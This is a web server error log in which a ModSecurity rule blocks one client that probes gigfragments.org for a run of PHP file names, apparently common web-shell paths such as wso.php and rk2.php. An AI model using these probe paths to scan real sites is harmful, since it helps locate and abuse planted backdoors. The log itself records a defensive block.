[Sat Jan 03 03:29:47.499385 2026] [:error] [pid 2083:tid 2093] [client 20.39.206.242:14842] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/buy.php"] [unique_id "aVgcqzVlR_BmlMPnhV6cjAAAAMg"]
[Sat Jan 03 03:29:47.814848 2026] [:error] [pid 1931:tid 2042] [client 20.39.206.242:14534] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/buy.php"] [unique_id "aVgcqx8Tyw7ZoIdXlcbawQAAAJI"]
[Sat Jan 03 03:29:48.100419 2026] [:error] [pid 1931:tid 2031] [client 20.39.206.242:14786] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/buy.php"] [unique_id "aVgcrB8Tyw7ZoIdXlcbawwAAAIc"]
[Sat Jan 03 03:29:48.420392 2026] [:error] [pid 1930:tid 1982] [client 20.39.206.242:14559] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/buy.php"] [unique_id "aVgcrJP-6mqhfUDa89y6UAAAAFA"]
[Sat Jan 03 03:29:48.729750 2026] [:error] [pid 1931:tid 2040] [client 20.39.206.242:14375] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aVgcrB8Tyw7ZoIdXlcbaxAAAAJA"]
[Sat Jan 03 03:29:49.058183 2026] [:error] [pid 1931:tid 2036] [client 20.39.206.242:14548] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aVgcrR8Tyw7ZoIdXlcbaxQAAAIw"]
[Sat Jan 03 03:29:49.465157 2026] [:error] [pid 1930:tid 1967] [client 20.39.206.242:14704] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aVgcrZP-6mqhfUDa89y6UgAAAEE"]
[Sat Jan 03 03:29:49.767844 2026] [:error] [pid 1931:tid 2046] [client 20.39.206.242:14604] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aVgcrR8Tyw7ZoIdXlcbaxgAAAJY"]
[Sat Jan 03 03:29:50.225950 2026] [:error] [pid 1931:tid 2043] [client 20.39.206.242:14336] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/c.php"] [unique_id "aVgcrh8Tyw7ZoIdXlcbayAAAAJM"]
[Sat Jan 03 03:29:50.570292 2026] [:error] [pid 1930:tid 1981] [client 20.39.206.242:14823] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/c.php"] [unique_id "aVgcrpP-6mqhfUDa89y6VAAAAE8"]
[Sat Jan 03 03:29:50.901143 2026] [:error] [pid 1930:tid 1970] [client 20.39.206.242:14717] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/c.php"] [unique_id "aVgcrpP-6mqhfUDa89y6VgAAAEQ"]
[Sat Jan 03 03:29:51.364351 2026] [:error] [pid 1931:tid 2029] [client 20.39.206.242:14636] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/c.php"] [unique_id "aVgcrx8Tyw7ZoIdXlcbaygAAAIU"]
[Sat Jan 03 03:29:51.660241 2026] [:error] [pid 2083:tid 2095] [client 20.39.206.242:14625] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo.php"] [unique_id "aVgcrzVlR_BmlMPnhV6ckgAAAMo"]
[Sat Jan 03 03:29:51.938004 2026] [:error] [pid 1931:tid 2033] [client 20.39.206.242:14614] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo.php"] [unique_id "aVgcrx8Tyw7ZoIdXlcbaywAAAIk"]
[Sat Jan 03 03:29:52.253480 2026] [:error] [pid 1930:tid 1985] [client 20.39.206.242:14838] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo.php"] [unique_id "aVgcsJP-6mqhfUDa89y6VwAAAFM"]
[Sat Jan 03 03:29:52.596604 2026] [:error] [pid 1931:tid 2045] [client 20.39.206.242:14595] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo.php"] [unique_id "aVgcsB8Tyw7ZoIdXlcbazQAAAJU"]
[Sat Jan 03 03:29:52.958102 2026] [:error] [pid 1930:tid 1990] [client 20.39.206.242:14660] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dlu.php"] [unique_id "aVgcsJP-6mqhfUDa89y6WAAAAFg"]
[Sat Jan 03 03:29:53.359391 2026] [:error] [pid 1931:tid 1993] [client 20.39.206.242:14795] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dlu.php"] [unique_id "aVgcsR8Tyw7ZoIdXlcba0AAAAIA"]
[Sat Jan 03 03:29:53.666204 2026] [:error] [pid 1931:tid 2035] [client 20.39.206.242:14816] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dlu.php"] [unique_id "aVgcsR8Tyw7ZoIdXlcba0gAAAIs"]
[Sat Jan 03 03:29:54.034484 2026] [:error] [pid 1931:tid 2030] [client 20.39.206.242:14798] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dlu.php"] [unique_id "aVgcsh8Tyw7ZoIdXlcba1AAAAIY"]
[Sat Jan 03 03:29:54.340525 2026] [:error] [pid 1931:tid 2042] [client 20.39.206.242:14647] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rk2.php"] [unique_id "aVgcsh8Tyw7ZoIdXlcba1gAAAJI"]
[Sat Jan 03 03:29:54.683783 2026] [:error] [pid 2083:tid 2096] [client 20.39.206.242:14365] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rk2.php"] [unique_id "aVgcsjVlR_BmlMPnhV6clwAAAMs"]
[Sat Jan 03 03:29:55.068336 2026] [:error] [pid 2083:tid 2086] [client 20.39.206.242:14839] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rk2.php"] [unique_id "aVgcszVlR_BmlMPnhV6cmgAAAME"]
[Sat Jan 03 03:29:55.380103 2026] [:error] [pid 2083:tid 2089] [client 20.39.206.242:14621] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rk2.php"] [unique_id "aVgcszVlR_BmlMPnhV6cnAAAAMQ"]
[Sat Jan 03 03:29:55.902543 2026] [:error] [pid 1929:tid 1947] [client 20.39.206.242:14578] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wso.php"] [unique_id "aVgcs-cFqdpu6TNsuWqx9AAAAAk"]
[Sat Jan 03 03:29:56.377590 2026] [:error] [pid 2083:tid 2103] [client 20.39.206.242:14633] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wso.php"] [unique_id "aVgctDVlR_BmlMPnhV6cnwAAANI"]
[Sat Jan 03 03:29:56.811566 2026] [:error] [pid 2083:tid 2108] [client 20.39.206.242:14378] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wso.php"] [unique_id "aVgctDVlR_BmlMPnhV6coQAAANc"]
[Sat Jan 03 03:29:57.117331 2026] [:error] [pid 1931:tid 2040] [client 20.39.206.242:14846] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wso.php"] [unique_id "aVgctR8Tyw7ZoIdXlcba2QAAAJA"]
[Sat Jan 03 03:29:57.418516 2026] [:error] [pid 1930:tid 1979] [client 20.39.206.242:14638] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aVgctZP-6mqhfUDa89y6XQAAAE0"]
[Sat Jan 03 03:29:57.859420 2026] [:error] [pid 1929:tid 1955] [client 20.39.206.242:14606] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aVgctecFqdpu6TNsuWqx9gAAABE"]
[Sat Jan 03 03:29:58.153196 2026] [:error] [pid 1931:tid 2043] [client 20.39.206.242:14535] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aVgcth8Tyw7ZoIdXlcba3AAAAJM"]
[Sat Jan 03 03:29:58.457520 2026] [:error] [pid 1929:tid 1958] [client 20.39.206.242:14640] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aVgctucFqdpu6TNsuWqx9wAAABQ"]
[Sat Jan 03 03:29:58.771718 2026] [:error] [pid 1929:tid 1954] [client 20.39.206.242:14639] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/karak.php"] [unique_id "aVgctucFqdpu6TNsuWqx-AAAABA"]
[Sat Jan 03 03:29:59.109068 2026] [:error] [pid 1930:tid 1966] [client 20.39.206.242:14557] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/karak.php"] [unique_id "aVgct5P-6mqhfUDa89y6XgAAAEA"]
[Sat Jan 03 03:29:59.431312 2026] [:error] [pid 1930:tid 1975] [client 20.39.206.242:14812] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/karak.php"] [unique_id "aVgct5P-6mqhfUDa89y6XwAAAEk"]
[Sat Jan 03 03:29:59.806702 2026] [:error] [pid 1930:tid 1987] [client 20.39.206.242:14585] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/karak.php"] [unique_id "aVgct5P-6mqhfUDa89y6YAAAAFU"]
[Sat Jan 03 03:30:00.223298 2026] [:error] [pid 1929:tid 1953] [client 20.39.206.242:14615] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/content.php"] [unique_id "aVgcuOcFqdpu6TNsuWqx-gAAAA8"]
[Sat Jan 03 03:30:00.548190 2026] [:error] [pid 1931:tid 2032] [client 20.39.206.242:14847] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/content.php"] [unique_id "aVgcuB8Tyw7ZoIdXlcba4QAAAIg"]
[Sat Jan 03 03:30:00.879211 2026] [:error] [pid 1931:tid 2041] [client 20.39.206.242:14799] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/content.php"] [unique_id "aVgcuB8Tyw7ZoIdXlcba4gAAAJE"]
[Sat Jan 03 03:30:01.289368 2026] [:error] [pid 2083:tid 2100] [client 20.39.206.242:14692] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/content.php"] [unique_id "aVgcuTVlR_BmlMPnhV6cqQAAAM8"]
[Sat Jan 03 03:30:01.580149 2026] [:error] [pid 1931:tid 2039] [client 20.39.206.242:14379] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/406.php"] [unique_id "aVgcuR8Tyw7ZoIdXlcba4wAAAI8"]
[Sat Jan 03 03:30:01.986622 2026] [:error] [pid 1931:tid 1999] [client 20.39.206.242:14603] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/406.php"] [unique_id "aVgcuR8Tyw7ZoIdXlcba5gAAAIM"]
[Sat Jan 03 03:30:02.304345 2026] [:error] [pid 1930:tid 1982] [client 20.39.206.242:14702] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/406.php"] [unique_id "aVgcupP-6mqhfUDa89y6YQAAAFA"]
[Sat Jan 03 03:30:02.672849 2026] [:error] [pid 1930:tid 1983] [client 20.39.206.242:14826] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/406.php"] [unique_id "aVgcupP-6mqhfUDa89y6YgAAAFE"]
[Sat Jan 03 03:30:03.002213 2026] [:error] [pid 1929:tid 1944] [client 20.39.206.242:14554] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mariju.php"] [unique_id "aVgcu-cFqdpu6TNsuWqx_QAAAAY"]
[Sat Jan 03 03:30:03.663883 2026] [:error] [pid 2083:tid 2091] [client 20.39.206.242:14648] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mariju.php"] [unique_id "aVgcuzVlR_BmlMPnhV6crgAAAMY"]
[Sat Jan 03 03:30:03.974234 2026] [:error] [pid 1930:tid 1971] [client 20.39.206.242:14624] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mariju.php"] [unique_id "aVgcu5P-6mqhfUDa89y6ZAAAAEU"]
[Sat Jan 03 03:30:04.350597 2026] [:error] [pid 2083:tid 2096] [client 20.39.206.242:14690] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mariju.php"] [unique_id "aVgcvDVlR_BmlMPnhV6crwAAAMs"]
[Sat Jan 03 03:30:04.625202 2026] [:error] [pid 2083:tid 2097] [client 20.39.206.242:14807] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aVgcvDVlR_BmlMPnhV6csAAAAMw"]
[Sat Jan 03 03:30:05.020638 2026] [:error] [pid 1929:tid 1948] [client 20.39.206.242:14567] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aVgcvecFqdpu6TNsuWqx_gAAAAo"]
[Sat Jan 03 03:30:05.353720 2026] [:error] [pid 2083:tid 2086] [client 20.39.206.242:14634] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aVgcvTVlR_BmlMPnhV6cswAAAME"]
[Sat Jan 03 03:30:05.647709 2026] [:error] [pid 2083:tid 2094] [client 20.39.206.242:14544] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aVgcvTVlR_BmlMPnhV6ctQAAAMk"]
[Sat Jan 03 03:30:05.928017 2026] [:error] [pid 2083:tid 2103] [client 20.39.206.242:14613] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cache.php"] [unique_id "aVgcvTVlR_BmlMPnhV6ctgAAANI"]
[Sat Jan 03 03:30:06.300910 2026] [:error] [pid 1930:tid 1974] [client 20.39.206.242:14821] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cache.php"] [unique_id "aVgcvpP-6mqhfUDa89y6aAAAAEg"]
[Sat Jan 03 03:30:06.680242 2026] [:error] [pid 2083:tid 2108] [client 20.39.206.242:14653] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cache.php"] [unique_id "aVgcvjVlR_BmlMPnhV6cuQAAANc"]
[Sat Jan 03 03:30:06.982412 2026] [:error] [pid 1930:tid 1990] [client 20.39.206.242:14837] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cache.php"] [unique_id "aVgcvpP-6mqhfUDa89y6aQAAAFg"]
[Sat Jan 03 03:30:07.317643 2026] [:error] [pid 1930:tid 1988] [client 20.39.206.242:15173] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zfile.php"] [unique_id "aVgcv5P-6mqhfUDa89y6agAAAFY"]
